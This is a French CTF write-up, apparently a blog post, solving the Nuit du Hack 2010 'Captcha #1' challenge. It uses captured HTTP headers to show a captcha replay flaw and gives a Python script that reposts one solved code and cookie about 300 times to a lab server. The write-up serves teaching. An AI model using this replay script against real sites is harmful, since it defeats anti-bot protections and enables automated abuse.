Cet article illustre une vulnérabilité classique des captcha: l'attaque par rejeu. Elle consiste à rejouer les paramètres d'un échange http précédent pour contourner l'utilisation du captcha.
Ce tutoriel propose une solution pour l'épreuve Captcha #1 du capture the flag (CTF) public de la Nuit du hack 2010.
outils
- python- module firefox live http headers - https://addons.mozilla.org/fr/firefox/addon/3829/
l'épreuve
Le formulaire ressemble à:étude
quatre ou cinq essais plus tard, nous constatons que les captcha ne suivent pas une logique évidente.Utilisons live http headers pour voir les échanges http:
http://192.168.100.251/epreuves/5XjZSN72l1/
GET /epreuves/5XjZSN72l1/ HTTP/1.1
Host: 192.168.100.251
User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: security_code=db7403056d3838dac7b660859a5f31bf; PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
HTTP/1.1 200 OK
Date: Thu, 17 Jun 2010 08:48:21 GMT
Server: Apache/2.2.15
X-Powered-By: PHP/5.2.6-1+lenny8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 376
Keep-Alive: timeout=15, max=197
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------
http://192.168.100.251/epreuves/5XjZSN72l1/image.php
GET /epreuves/5XjZSN72l1/image.php HTTP/1.1
Host: 192.168.100.251
User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.100.251/epreuves/5XjZSN72l1/
Cookie: security_code=db7403056d3838dac7b660859a5f31bf; PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
HTTP/1.1 200 OK
Date: Thu, 17 Jun 2010 08:48:22 GMT
Server: Apache/2.2.15
X-Powered-By: PHP/5.2.6-1+lenny8
Set-Cookie: security_code=0df58bbebae948980ccf90e04f7e77d1
Content-Length: 2240
Keep-Alive: timeout=15, max=196
Connection: Keep-Alive
Content-Type: image/jpeg
----------------------------------------------------------
http://192.168.100.251/epreuves/5XjZSN72l1/
POST /epreuves/5XjZSN72l1/ HTTP/1.1
Host: 192.168.100.251
User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.100.251/epreuves/5XjZSN72l1/
Cookie: security_code=0df58bbebae948980ccf90e04f7e77d1; PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
prenom=prenom&nom=nom&adresse=adresse&ville=ville&code=t7xwgj
HTTP/1.1 200 OK
Date: Thu, 17 Jun 2010 08:48:49 GMT
Server: Apache/2.2.15
X-Powered-By: PHP/5.2.6-1+lenny8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 99
Keep-Alive: timeout=15, max=200
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------
http://192.168.100.251/favicon.ico
GET /favicon.ico HTTP/1.1
Host: 192.168.100.251
User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
HTTP/1.1 404 Not Found
Date: Thu, 17 Jun 2010 08:48:49 GMT
Server: Apache/2.2.15
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 183
Keep-Alive: timeout=15, max=199
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
----------------------------------------------------------
Avec http live headers, sélectionnons notre réponse et cliquons sur "rejouer". Nous obtenons une inscription supplémentaire. Le rejeu fonctionne!
Nous remarquons de plus l'utilisation de:
- un cookie de session PHP,
- un cookie security_code envoyé avec le formulaire et renvoyé avec la réponse.
solution
Nous allons effectuer 300 requêtes, en utilisant systématiquement le cookie de session PHP et le même security_code.Construisons notre script python:
import httplib, urllib
site = '192.168.100.251'
page = '/epreuves/5XjZSN72l1/'
content_type = 'text/html'
h = httplib.HTTP(site)
data = ''
i = 0
params = {
'prenom':'prenom',
'nom':'nom',
'adresse':'adresse',
'ville':'ville',
'code':'t7xwgj',
}
body = urllib.urlencode(params)
while i<=301:
h.putrequest('POST',page)
h.putheader('Host', site)
h.putheader('Accept',content_type)
h.putheader('Cookie','security_code=0df58bbebae948980ccf90e04f7e77d1; PHPSESSID=5vld8u373m9nkqr825frtnuu86;')
h.putheader('Content-Type','application/x-www-form-urlencoded')
h.putheader('Content-Length', "%d" % len(body))
h.endheaders()
h.send(body)
reponse,msg,entete = h.getreply()
data = data + "\n" + str(i) + str(entete) + h.getfile().read()
i = i+1
print data
merci ! :)
RépondreSupprimer